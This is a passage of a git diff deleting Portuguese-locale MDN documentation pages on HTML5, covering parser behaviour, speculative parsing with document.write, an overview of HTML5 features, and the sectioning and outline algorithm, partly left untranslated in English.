- <li>If you omit the closing tag for &lt;title&gt;, &lt;style&gt;, &lt;textarea&gt;, or &lt;xmp&gt;, the page <em>will</em> fail to be parsed. IE already fails to parse documents with a missing &lt;/title&gt; tag, so if you test with IE, you probably don't have that problem.</li>
- <li>If you forget to close a comment, the page will most likely fail to be parsed. However, unclosed comments often already break in existing browsers for one reason or another, so it's unlikely that you have this issue in sites that are tested in multiple browsers.</li>
- <li>In an inline script, in order to use the literal strings <code>&lt;/script&gt;</code> and <code>&lt;!--</code>, you should prevent them from being parsed literally by expressing them as <code>\u003c/script&gt;</code> and <code>\u003c!--</code>. The older practice of escaping the string <code>&lt;/script&gt;</code> by surrounding it with comment markers, while supported by HTML5, is problematic in cases where the closing comment marker is omitted (see preceding point). You can avoid such problems by using the character code for the initial '&lt;' instead.</li>
-</ul>
-<h2 id="Performance_improvement_with_speculative_parsing">Performance improvement with speculative parsing</h2>
-<p>Unrelated to the requirements of HTML5 specification, the Gecko 2 parser uses <em>speculative parsing</em>, in which it continues parsing a document while scripts are being downloaded and executed. This results in improved performance compared to older parsers, because most of the time, Gecko can complete these tasks in parallel.</p>
-<p>To best take advantage of speculative parsing, and help your pages to load as quickly as possible, ensure that when you call <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write()</a>, you write a <em>balanced sub-tree</em> within that chunk of script. A balanced sub-tree is HTML code in which any elements that are opened are also closed, so that after the script, the elements left open are the same ones that were open before the script. The open and closing tags do not need to be written by the same <code>document.write()</code> call, as long as they are within the same <code>&lt;script&gt;</code> tag.</p>
-<p>Please note that you shouldn't use end tags for void elements that don't have end tags: {{ HTMLElement('area') }}, {{ HTMLElement('base') }}, {{ HTMLElement('br') }}, {{ HTMLElement('col') }}, {{ HTMLElement('command') }}, {{ HTMLElement('embed') }}, {{ HTMLElement('hr') }}, {{ HTMLElement('img') }}, {{ HTMLElement('input') }}, {{ HTMLElement('keygen') }}, {{ HTMLElement('link') }}, {{ HTMLElement('meta') }}, {{ HTMLElement('param') }}, {{ HTMLElement('source') }} and {{ HTMLElement('wbr') }}. (There are also some element whose end tags can be omitted in some cases, such as {{ HTMLElement('p') }} in the example below, but it's simpler to always use end tags for those elements than to make sure that the end tags are only omitted when they aren't necessary.)</p>
-<p>For example, the following code writes a balanced sub-tree:</p>
-<pre>&lt;script&gt;
-  document.write("&lt;div&gt;");
-  document.write("&lt;p&gt;Some content goes here.&lt;/p&gt;");
-  document.write("&lt;/div&gt;");
-&lt;/script&gt;
-&lt;!-- Non-script HTML goes here. --&gt;
-</pre>
-<p>In contrast, the following code contains two scripts with unbalanced sub-trees, which causes speculative parsing to fail and therefore the time to parse the document is longer.</p>
-<pre>&lt;script&gt;document.write("&lt;div&gt;");&lt;/script&gt;
-&lt;p&gt;Some content goes here.&lt;/p&gt;
-&lt;script&gt;document.write("&lt;/div&gt;");&lt;/script&gt;
-</pre>
-<p>For more information, see <a href="/en/HTML/HTML5/Optimizing_Your_Pages_for_Speculative_Parsing" title="en/Optimizing Your Pages for Speculative Parsing">Optimizing your pages for speculative parsing</a>.</p>
-<p> </p>
diff --git a/files/pt-pt/web/guide/html/html5/index.html b/files/pt-pt/web/guide/html/html5/index.html
deleted file mode 100644
index 8156757938..0000000000
--- a/files/pt-pt/web/guide/html/html5/index.html
+++ /dev/null
@@ -1,170 +0,0 @@
----
-title: HTML5
-slug: Web/Guide/HTML/HTML5
-tags:
- - Desenvolvimento da Web
- - Guía
- - HTML
- - HTML5
- - Resumo
- - Sinopse
- - Web
-translation_of: Web/Guide/HTML/HTML5
-original_slug: Web/HTML/HTML5
----
-<p class="summary">HTML5 é a última evolução no padrão que define o <a href="/pt-PT/docs/Web/HTML_Linguagem_de_marcacao_de_hipertexto" title="HTML">HTML</a>. O termo representa dois conceitos diferentes. Esta é uma nova versão da linguagem HTML, com novos elementos, atributos e comportamentos, <strong>e</strong> um conjunto maior de tecnologias que permite a criação de sites e aplicações da Web mais diversos e poderosos. Este conjunto às vezes é chamado de HTML5 e amigos e, muitas vezes, abreviado apenas para HTML5.</p>
-
-<p>Desenhado para ser utilizado por todos os programadores da <strong>Web Aberta</strong>, esta página de referência interliga para inúmeros recursos sobre as tecnologias em HTML5, classificadas em vários grupos com base nas suas funções.</p>
-
-<ul>
- <li><em>Semântica</em>: <span id="result_box" lang="pt"><span>permitindo que descreva mais precisamente o que é o seu conteúdo.</span></span></li>
- <li><em>Conetividade</em>: permitindo que <span id="result_box" lang="pt"><span> comunique com o servidor de maneiras novas e inovadoras.</span></span></li>
- <li><em>Off-line e armazenamento</em>: permitindo webpages <span id="result_box" lang="pt"><span> armazenem dados localmente </span></span><span lang="pt"><span>no client-side (lado do cliente) e operem offline de forma mais eficiente.</span></span></li>
- <li><em>Multimédia</em>: <span id="result_box" lang="pt"><span>tornando o vídeo e áudio de primeira classe cidadãos na Open Web.</span></span></li>
- <li><em>Gráficos e efeitos 2D/3D</em>: <span id="result_box" lang="pt"><span>permitindo uma gama muito mais diversificada de opções de apresentação.</span></span></li>
- <li><em>Desempenho e integração</em>: <span id="result_box" lang="pt"><span>proporcionando maior otimização de velocidade e melhor uso do hardware do computador.</span></span></li>
- <li><em>Acesso ao dispositivo</em>: <span id="result_box" lang="pt"><span>permitindo o uso de vários dispositivos de entrada e saída.</span></span></li>
- <li><em>Estilização</em>: <span id="result_box" lang="pt"><span>permitindo que os autores escrevam temas mais sofisticados.</span></span></li>
-</ul>
-
-<div class="cleared row topicpage-table">
-<div class="section">
-<h2 id="SemÂntIcA" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">SemÂntIcA</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML" title="Sections and Outlines of an HTML5 document">Sections and outlines in HTML5</a></dt>
- <dd>A look at the new outlining and sectioning elements in HTML5: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}} and {{HTMLElement("aside")}}.</dd>
- <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Using HTML5 audio and video</a></dt>
- <dd>The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.</dd>
- <dt><a href="/en-US/docs/Learn/HTML/Forms">Forms improvements</a></dt>
- <dd>A look at the <a href="/en-US/docs/Learn/HTML/Forms/Form_validation">constraint validation API</a>, several new attributes, new values for the {{HTMLElement("input")}} attribute {{htmlattrxref("type", "input")}} and the new {{HTMLElement("output")}} element.</dd>
- <dt>New semantic elements</dt>
- <dd>Beside sections, media and forms elements, there are numerous new elements, like {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, or {{HTMLElement("meter")}} and {{HTMLElement("main")}}, increasing the number of <a href="/en-US/docs/HTML/HTML5/HTML5_element_list" title="HTML/HTML5/HTML5_element_list">valid HTML5 elements</a>.</dd>
- <dt>Improvement in {{HTMLElement("iframe")}}</dt>
- <dd>Using the {{htmlattrxref("sandbox", "iframe")}} and {{htmlattrxref("srcdoc", "iframe")}} attributes, authors can now be precise about the level of security and the wished rendering of an {{HTMLElement("iframe")}} element.</dd>
- <dt><a href="/en-US/docs/MathML" title="MathML">MathML</a></dt>
- <dd>Allows directly embedding mathematical formulas.</dd>
- <dt><a href="/en-US/docs/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">Introduction to HTML5</a></dt>
- <dd>This article introduces how to indicate to the browser that you are using HTML5 in your web design or web application.</dd>
- <dt><a href="https://www.wpkube.com/html5-cheat-sheet/">HTML5 Cheat Sheet</a></dt>
- <dd>A handy HTML 5 cheat sheet for beginners who want to master HTML 5, its elements, event attributes and compatibility.</dd>
- <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">HTML5-compliant parser</a></dt>
- <dd>The parser, which turns the bytes of an HTML document into a DOM, has been extended and now precisely defines the behavior to use in all cases, even when faced with invalid HTML. This leads to far greater predictability and interoperability between HTML5-compliant browsers.</dd>
-</dl>
-
-<h2 id="ConetiviDADE" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ConetiviDADE</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Sockets</a></dt>
- <dd>Allows creating a permanent connection between the page and the server and to exchange non-HTML data through that means.</dd>
- <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Server-sent events</a></dt>
- <dd>Allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request.</dd>
- <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
- <dd>This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.</dd>
-</dl>
-
-<h2 id="Off-line_e_ARMAZENAMENTO" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Off-line e ARMAZENAMENTO</h2>
-
-<dl>
- <dt><a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Offline resources: The application cache</a></dt>
- <dd>Firefox fully supports the HTML5 offline resource specification. Most others have offline resource support at some level.</dd>
- <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online and offline events</a></dt>
- <dd>Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.</dd>
- <dt><a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG client-side session and persistent storage (aka DOM storage)</a></dt>
- <dd>Client-side session and persistent storage allows web applications to store structured data on the client side.</dd>
- <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
- <dd>IndexedDB is a web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.</dd>
- <dt><a href="/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Using files from web applications</a></dt>
- <dd>Support for the new HTML5 File API has been added to Gecko, making it possible for web applications to access local files selected by the user. This includes support for selecting multiple files using the <span style="font-family: monospace;">{{HTMLElement("input")}}</span> of <a href="/en-US/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a> <span style="font-family: courier new;">file</span> HTML element's new <a href="/en-US/docs/HTML/Element/Input#attr-multiple" title="HTML/Element/input#attr-multiple"><strong>multiple</strong></a> attribute. There also is <a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader"><code>FileReader</code></a>.</dd>
-</dl>
-
-<h2 id="MultimÉdia" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">MultimÉdia</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Using HTML5 audio and video</a></dt>
- <dd>The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.</dd>
- <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
- <dd>This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.</dd>
- <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Using the Camera API</a></dt>
- <dd>Allows using, manipulating, and storing an image from the computer's camera.</dd>
- <dt>Track and WebVTT</dt>
- <dd>The {{HTMLElement("track")}} element allows subtitles and chapters. <a href="/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> is a text track format.</dd>
-</dl>
-
-<h2 id="GRÁFICOS_E_EFEITOS_3D" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">GRÁFICOS E EFEITOS 3D</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Canvas_tutorial" title="Canvas tutorial">Canvas tutorial</a></dt>
- <dd>Learn about the new <code>{{HTMLElement("canvas")}}</code> element and how to draw graphs and other objects in Firefox.</dd>
- <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">HTML5 Text API for <code>&lt;canvas&gt;</code> elements</a></dt>
- <dd>The HTML5 text API is now supported by {{HTMLElement("canvas")}} elements.</dd>
- <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a></dt>
- <dd>WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 {{HTMLElement("canvas")}} elements.</dd>
- <dt><a href="/en-US/docs/SVG" title="SVG">SVG</a></dt>
- <dd>An XML-based format of vectorial images that can directly be embedded in the HTML.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 id="DESEMPENHO_E_IntegraÇÃO" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">DESEMPENHO E IntegraÇÃO</h2>
-
-<dl>
- <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Using web workers">Web Workers</a></dt>
- <dd>Allows delegation of JavaScript evaluation to background threads, allowing these activities to prevent slowing down interactive events.</dd>
- <dt><code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> level 2</dt>
- <dd>Allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions. This is the technology behind <a href="/en-US/docs/AJAX" title="AJAX">Ajax</a>.</dd>
- <dt>JIT-compiling JavaScript engines</dt>
- <dd>The new generation of JavaScript engines is much more powerful, leading to greater performance.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">History API</a></dt>
- <dd>Allows the manipulation of the browser history. This is especially useful for pages loading interactively new information.</dd>
- <dt><a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content Editable">The contentEditable Attribute: Transform your website to a wiki!</a></dt>
- <dd>HTML5 has standardized the contentEditable attribute. Learn more about this feature.</dd>
- <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">Drag and drop</a></dt>
- <dd>The HTML5 drag and drop API allows support for dragging and dropping items within and between web sites. This also provides a simpler API for use by extensions and Mozilla-based applications.</dd>
- <dt><a href="/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">Focus management in HTML</a></dt>
- <dd>The new HTML5 <code>activeElement</code> and <code>hasFocus</code> attributes are supported.</dd>
- <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Web-based protocol handlers</a></dt>
- <dd>You can now register web applications as protocol handlers using the <code>navigator.registerProtocolHandler()</code> method.</dd>
- <dt><a href="/en-US/docs/Web/API/Window/requestAnimationFrame" style="font-weight: bold;" title="Web-based_protocol_handlers">requestAnimationFrame</a></dt>
- <dd>Allows control of animations rendering to obtain optimal performance.</dd>
- <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="DOM/Using_full-screen_mode">Fullscreen API</a></dt>
- <dd>Controls the usage of the whole screen for a Web page or application, without the browser UI displayed.</dd>
- <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
- <dd>Allows locking the pointer to the content, so games and similar applications don't lose focus when the pointer reaches the window limit.</dd>
- <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online and offline events</a></dt>
- <dd>In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.</dd>
-</dl>
-
-<h2 id="ACESSO_AO_DISPOSITIVO" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 66px; padding-right: 0.5em; vertical-align: middle; width: 77px;">ACESSO AO DISPOSITIVO</h2>
-
-<dl>
- <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Using the Camera API</a></dt>
- <dd>Allows using, manipulating, and storing an image from the computer's camera.</dd>
- <dt><a href="/en-US/docs/DOM/Touch_events" title="DOM/Touch_events">Touch events</a></dt>
- <dd>Handlers to react to events created by a user pressing touch screens.</dd>
- <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Using geolocation</a></dt>
- <dd>Let browsers locate the position of the user using geolocation.</dd>
- <dt><a href="/en-US/docs/Detecting_device_orientation" title="Detecting_device_orientation">Detecting device orientation</a></dt>
- <dd>Get the information when the device on which the browser runs changes orientation. This can be used as an input device (e.g., to make games that react to the position of the device) or to adapt the layout of a page to the orientation of the screen (portrait or landscape).</dd>
- <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
- <dd>Allows locking the pointer to the content, so games and similar application don't lose focus when the pointer reaches the window limit.</dd>
-</dl>
-
-<h2 id="ESTILIZAÇÃO" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ESTILIZAÇÃO</h2>
-
-<p id="CSS_has_been_extended_to_be_able_to_style_elements_in_a_much_more_complex_way._This_is_often_referred_as_CSS3_though_CSS_is_not_a_monolithic_specification_any_more_and_the_different_modules_are_not_all_at_level_3_some_are_at_level_1_and_others_at_level_4_with_all_the_intermediate_levels_covered."><a href="/en-US/docs/CSS" title="CSS">CSS</a> has been extended to be able to style elements in a much more complex way. This is often referred as <a href="/en-US/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>, though CSS is not a monolithic specification any more and the different modules are not all at level 3: some are at level 1 and others at level 4, with all the intermediate levels covered.</p>
-
-<dl>
- <dt>New background styling features</dt>
- <dd>It is now possible to put a shadow to a box, using {{cssxref("box-shadow")}} and <a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple_backgrounds">multiple backgrounds</a> can be set.</dd>
- <dt>More fancy borders</dt>
- <dd>Not only it is now possible to use images to style borders, using {{cssxref("border-image")}} and its associated longhand properties, but rounded borders are supported via the {{cssxref("border-radius")}} property.</dd>
- <dt>Animating your style</dt>
- <dd>Using <a href="/en-US/docs/CSS/Using_CSS_transitions" title="CSS/Using_CSS_transitions">CSS Transitions</a> to animate between different states or using <a href="/en-US/docs/CSS/Using_CSS_animations" title="CSS/Using_CSS_animations">CSS Animations</a> to animate parts of the page without a triggering event, you can now control mobile elements on your page.</dd>
- <dt>Typography improvement</dt>
- <dd>Authors have better control to reach better typography. They can control {{cssxref("text-overflow")}} and <a href="/en-US/docs/CSS/hyphens" title="CSS/hyphens">hyphenation</a>, but also can add a <a href="/en-US/docs/CSS/text-shadow" title="CSS/text-shadow">shadow</a> to it or control more precisely its <a href="/en-US/docs/CSS/text-decoration" title="SVG/Attribute/text-decoration">decorations</a>. Custom typefaces can be downloaded and applied thanks to the new {{cssxref("@font-face")}} at-rule.</dd>
- <dt>New presentational layouts</dt>
- <dd>In order to improve the flexibility of designs, two new layouts have been added: the <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="CSS/Using_CSS_multi-column_layouts">CSS multi-column layouts</a> and <a href="/en-US/docs/CSS/Flexbox" title="CSS/Flexbox">CSS flexible box layout</a>.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html b/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html
deleted file mode 100644
index ef509a0965..0000000000
--- a/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Introdução ao HTML5
-slug: Web/Guide/HTML/HTML5/Introduction_to_HTML5
-tags:
- - HTML
- - HTML5
-translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
-original_slug: Web/HTML/HTML5/Introdução_ao_HTML5
----
-<p>O <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a> (en), cujas novidades começaram a ser implementadas no Gecko 1.8.1, é a mais nova versão do padrão HTML. Ela oferece novas características para proporcionar não somente um rico suporte à mídia, mas também para melhorar o suporte à criação de aplicações web que podem interagir com o usuário, seus dados locais e servidores de maneira mais fácil e efetiva.</p>
-
-<p>Como o HTML5 ainda está em estágio de projeto, mudanças às especificações são inevitáveis. Por causa disso, nem todas as características são suportadas por todos os navegadores ainda. Entretanto, o Gecko (e por extensão, o Firefox) possui um suporte inicial ao HTML5 muito bom e o trabalho continua no caminho de suportar cada vez mais características. Você pode encontrar uma lista das características do HTML5 suportadas pelo Gecko na <a href="/pt/HTML/HTML5" title="pt/HTML/HTML5">página principal do HTML5</a>.</p>
-
-<h2 id="O_doctype_do_HTML5">O doctype do HTML5</h2>
-
-<p>O doctype para o HTML5 é muito simples. Para indicar que seu conteúdo HTML usa HTML5, simplesmente use:</p>
-
-<pre>&lt;!DOCTYPE html&gt;
-</pre>
-
-<p>Este doctype tão simples, permitirá que mesmo os navegadores que atualmente não suportam o HTML5, o considerem como o modo padrão, o que significa que eles irão interpretar as partes do HTML já estabelecidas em um modo complacente do HTML5, ignorando as novas características do HTML5 não suportadas pelos mesmos.</p>
diff --git a/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html b/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html
deleted file mode 100644
index 2f7dd145db..0000000000
--- a/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html
+++ /dev/null
@@ -1,344 +0,0 @@
----
-title: Utilizar estruturas e secções de HTML
-slug: Web/Guide/HTML/Using_HTML_sections_and_outlines
-tags:
- - Avançado
- - Estruturas
- - Exemplo
- - Guía
- - HTML
- - HTML5
- - Resumo
- - Secções
- - Sinopse
- - Web
-translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
-original_slug: Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML
----
-<div class="warning">
-<p><strong>Importante</strong>: atualmente, não existem implementações conhecidas do algoritmo de estrutura nos navegadores gráficos ou agentes de utilizador da tecnologia assistiva, embora o algoritmo esteja implementado noutro software, tal como verificadores de conformidade . Assim, o algoritmo de <a href="http://www.w3.org/TR/html5/sections.html#outline">estrutura</a> não pode ser invocado para transmitir a estrutura do documento aos utilizadores. Recomenda-se que os autores utilizem <a href="http://www.w3.org/TR/html5/sections.html#rank">rank</a> (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>) para transmitir a estrutura do documento.</p>
-</div>
-
-<p>The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with standard semantics. This document describes these elements and how to use them to define the desired outline for any document.</p>
-
-<h2 id="Estrutura_de_um_documento_em_HTML_4">Estrutura de um documento em HTML 4</h2>
-
-<p>A estrutura de um documento, por exemplo, a estrutura de semântica do que está entre <code>&lt;body&gt;</code> e <code>&lt;/body&gt;</code>, é fundamental para apresentar a página ao utilizador. HTML4 uses the notion of sections and sub-sections of a document to describe its structure. A section is defined by a ({{HTMLElement("div")}}) element with heading elements ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, or {{HTMLElement("h6")}}) within it, defining its title. The relationships of these elements leads to the structure of the document and its outline.</p>
-
-<p>So the following mark-up:</p>
-
-<div style="overflow: hidden;">
-<pre class="brush:xml">&lt;div class="section" id="forest-elephants" &gt;
- &lt;h1&gt;Forest elephants&lt;/h1&gt;
- &lt;p&gt;In this section, we discuss the lesser known forest elephants.
- ...this section continues...
- &lt;div class="subsection" id="forest-habitat" &gt;
- &lt;h2&gt;Habitat&lt;/h2&gt;
- &lt;p&gt;Forest elephants do not live in trees but among them.
- ...this subsection continues...
- &lt;/div&gt;
-&lt;/div&gt;
-</pre>
-</div>
-
-<p>leads to the following outline (without the implicit level numbers displayed):</p>
-
-<pre>1. Forest elephants
- 1.1 Habitat
-</pre>
-
-<p>The {{HTMLElement("div")}} elements aren't mandatory to define a new section. The mere presence of a heading element is enough to imply a new section. Therefore,</p>
-
-<pre class="brush:xml">&lt;h1&gt;Forest elephants&lt;/h1&gt;
- &lt;p&gt;In this section, we discuss the lesser known forest elephants.
- ...this section continues...
- &lt;h2&gt;Habitat&lt;/h2&gt;
- &lt;p&gt;Forest elephants do not live in trees but among them.
- ...this subsection continues...
- &lt;h2&gt;Diet&lt;/h2&gt;
-&lt;h1&gt;Mongolian gerbils&lt;/h1&gt;
-</pre>
-
-<p>leads to the following outline:</p>
-
-<pre>1. Forest elephants
- 1.1 Habitat
-   1.2 Diet
-2. Mongolian gerbils
-</pre>
-
-<h2 id="Problemas_resolvidos_pelo_HTML5">Problemas resolvidos pelo HTML5</h2>
-
-<p>The HTML 4 definition of the structure of a document and its implied outlining algorithm is very rough and leads to numerous problems:</p>
-
-<ol>
- <li>Usage of {{HTMLElement("div")}} for defining semantic sections, without defining specific values for the <strong>class</strong> attributes makes the automation of the outlining algorithm impossible ("Is that {{HTMLElement("div")}} part of the outline of the page, defining a section or a subsection?" Or "is it only a presentational {{HTMLElement("div")}}, only used for styling?"). In other terms, the HTML4 spec is very imprecise on what is a section and how its scope is defined. Automatic generation of outlines is important, especially for <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">assistive technology</a>, that are likely to adapt the way they present information to the users according to the structure of the document. HTML5 removes the need for {{HTMLElement("div")}} elements from the outlining algorithm by introducing a new element, {{HTMLElement("section")}}, the HTML Section Element.</li>
- <li>Merging several documents is hard: inclusion of a sub-document in a main document means changing the level of the HTML Headings Element so that the outline is kept. This is solved in HTML5 as the newly introduced sectioning elements ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} and {{HTMLElement("aside")}}) are always subsections of their nearest ancestor section, regardless of what sections are created by internal headings.</li>
- <li>In HTML4, every section is part of the document outline. But documents are often not that linear. A document can have special sections containing information that is not part of, though it is related to, the main flow, like an advertisement block or an explanation box. HTML5 introduces the {{HTMLElement("aside")}} element allowing such sections to not be part of the main outline.</li>
- <li>Again, in HTML4, because every section is part of the document outline, there is no way to have sections containing information related not to the document but to the whole site, like logos, menus, table of contents, or copyright information and legal notices. For that purpose, HTML5 introduces three new elements: {{HTMLElement("nav")}} for collections of links, such as a table of contents, {{HTMLElement("footer")}} and {{HTMLElement("header")}} for site-related information. Note that {{HTMLElement("header")}} and {{HTMLElement("footer")}} are not sectioning content like {{HTMLElement("section")}}, rather, they exist to semantically mark up parts of a section.</li>
-</ol>
-
-<p>More generally, HTML5 brings precision to the sectioning and heading features, allowing document outlines to be predictable and used by the browser to improve the user experience.</p>
-
-<h2 id="O_algoritmo_de_estrutura_de_HTML5">O algoritmo de estrutura de HTML5</h2>
-
-<p>Let's consider the algorithms  underlying the way HTML handles sections and outlines.</p>
-
-<h3 id="Definir_secções">Definir secções</h3>
-
-<p>All content lying inside the {{HTMLElement("body")}} element is part of a section. Sections in HTML5 can be nested. Beside the main section, defined by the {{HTMLElement("body")}} element, section limits are defined either explicitly or implicitly. Explicitly-defined sections are the content within {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}, and {{HTMLElement("nav")}} tags. </p>
-
-<div class="note">Each section can have its own heading hierarchy. Therefore, even a nested section can have an {{HTMLElement("h1")}}. See {{anch("Defining headings")}}</div>
-
-<p>Let's look at an example — here we have a document with a top level section and a footer defined. Inside the top level section we have three subsections, defined by two {{htmlelement("section")}} elements and an {{htmlelement("aside")}} element:</p>
-
-<pre class="brush:xml">&lt;section&gt;
-
-  &lt;h1&gt;Forest elephants&lt;/h1&gt;
-
-  &lt;section&gt;
